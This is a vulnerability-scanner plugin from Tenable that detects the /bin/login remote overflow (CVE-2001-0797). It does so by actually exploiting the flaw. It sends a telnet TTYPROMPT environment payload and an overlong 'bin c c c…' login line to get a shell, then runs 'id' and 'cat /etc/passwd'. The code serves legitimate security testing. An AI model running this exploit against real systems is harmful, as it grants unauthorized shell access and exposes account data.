The remote implementation of the /bin/login utility, used when authenticating a user via telnet or rsh contains an overflow which allows an attacker to gain a shell on this host, without even sending a shell code.
An attacker may use this flaw to log in as any user (except root) on the remote host.
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(11136);
script_version("1.27");
script_cvs_date("Date: 2018/08/01 17:36:12");
script_cve_id("CVE-2001-0797");
script_bugtraq_id(3681, 5848);
script_xref(name:"CERT-CC", value:"CA-2001-34");
script_name(english:"Multiple OS /bin/login Remote Overflow");
script_summary(english:"Attempts to log into the remote host");
script_set_attribute(attribute:"synopsis", value:"It is possible to execute arbitrary commands on the remote host.");
script_set_attribute(attribute:"description", value:
"The remote implementation of the /bin/login utility, used when
authenticating a user via telnet or rsh contains an overflow which
allows an attacker to gain a shell on this host, without even sending a
shell code.
An attacker may use this flaw to log in as any user (except root) on the
remote host.");
script_set_attribute(attribute:"solution", value:"Contact the vendor for a patch.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"exploited_by_malware", value:"true");
script_set_attribute(attribute:"metasploit_name", value:'Solaris in.telnetd TTYPROMPT Buffer Overflow');
script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
script_set_attribute(attribute:"canvas_package", value:'CANVAS');
script_set_attribute(attribute:"vuln_publication_date", value:"2001/12/12");
script_set_attribute(attribute:"plugin_publication_date", value:"2002/10/03");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
# It might cause problem on some systems
script_category(ACT_DESTRUCTIVE_ATTACK);
script_copyright(english:"This script is Copyright (C) 2002-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_family(english:"Gain a shell remotely");
script_dependencie("find_service1.nasl");
script_require_ports("Services/telnet", 23);
exit(0);
}
include("data_protection.inc");
global_var soc;
function init()
{
local_var c, i, lim, r, s;
send(socket:soc, data:raw_string(
0xFF, 252, 0x25,
0xFF, 254, 0x26,
0xFF, 252, 0x26,
0xFF, 254, 0x03,
0xFF, 252, 0x18,
0xFF, 252, 0x1F,
0xFF, 252, 0x20,
0xFF, 252, 0x21,
0xFF, 252, 0x22,
0xFF, 0xFB, 0x27,
0xFF, 254, 0x05,
0xFF, 252, 0x23));
r = recv(socket:soc, length:30);
lim = strlen(r);
for(i=0;i<lim - 2;i=i+3)
{
if(!(ord(r[i+2]) == 0x27))
{
if(ord(r[i+1]) == 251) c = 254;
if(ord(r[i+1]) == 252) c = 254;
if(ord(r[i+1]) == 253) c = 252;
if(ord(r[i+1]) == 254) c = 252;
s = raw_string(ord(r[i]), c, ord(r[i+2]));
send(socket:soc, data:s);
}
}
send(socket:soc, data:raw_string(0xFF, 0xFC, 0x24));
r = recv(socket:soc, length:300);
send(socket:soc, data:raw_string(0xFF, 0xFA, 0x27, 0x00, 0x03, 0x54, 0x54, 0x59, 0x50, 0x52, 0x4F, 0x4D, 0x50, 0x54, 0x01, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0xFF, 0xF0));
}
port = get_kb_item("Services/telnet");
if(!port)port = 23;
if(!get_port_state(port))exit(0);
soc = open_sock_tcp(port);
if(soc)
{
buf = init();
send(socket:soc, data:string("bin c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c c\r\n"));
r = recv(socket:soc, length:4096);
if(!r)exit(0);
send(socket:soc, data:string("id\r\n"));
r = recv(socket:soc, length:1024);
if("uid=" >< r){
send(socket:soc, data:string("cat /etc/passwd\r\n"));
r = recv(socket:soc, length:4096);
r = data_protection::redact_etc_passwd(output:r);
report = string("Here is the output of the command 'cat /etc/passwd' :\n", r);
security_hole(port:port, extra:report);
}
}